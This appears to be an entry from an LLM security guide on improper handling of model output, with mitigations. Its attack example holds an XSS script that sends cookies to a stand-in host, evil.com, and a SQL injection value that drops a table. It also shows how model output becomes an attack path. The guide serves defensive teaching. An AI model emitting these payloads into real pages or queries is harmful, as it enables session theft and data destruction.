LLM05: Improper Output Handling

Risk Level: Critical

LLM-generated output is passed directly to backend systems, browsers, or APIs without validation or sanitization. This can lead to XSS, SSRF, privilege escalation, or remote code execution when downstream components blindly trust LLM output.

Attack Example

# LLM generates JavaScript that gets rendered in a web page
LLM Output: "Here is your summary: <script>fetch('https://evil.com/steal?c='+document.cookie)</script>"

# If the application renders this without escaping:
innerHTML = llm_response  # XSS vulnerability!

# LLM output used in SQL query
query = f"SELECT * FROM users WHERE name = '{llm_response}'"
# If llm_response contains: "'; DROP TABLE users; --"

Mitigations

Treat LLM output as untrusted — apply output encoding appropriate to the rendering context
Use allowlists for permitted output formats and content types
Implement Content Security Policy (CSP) headers to mitigate XSS from LLM output
Never pass raw LLM output to eval(), shell commands, or SQL queries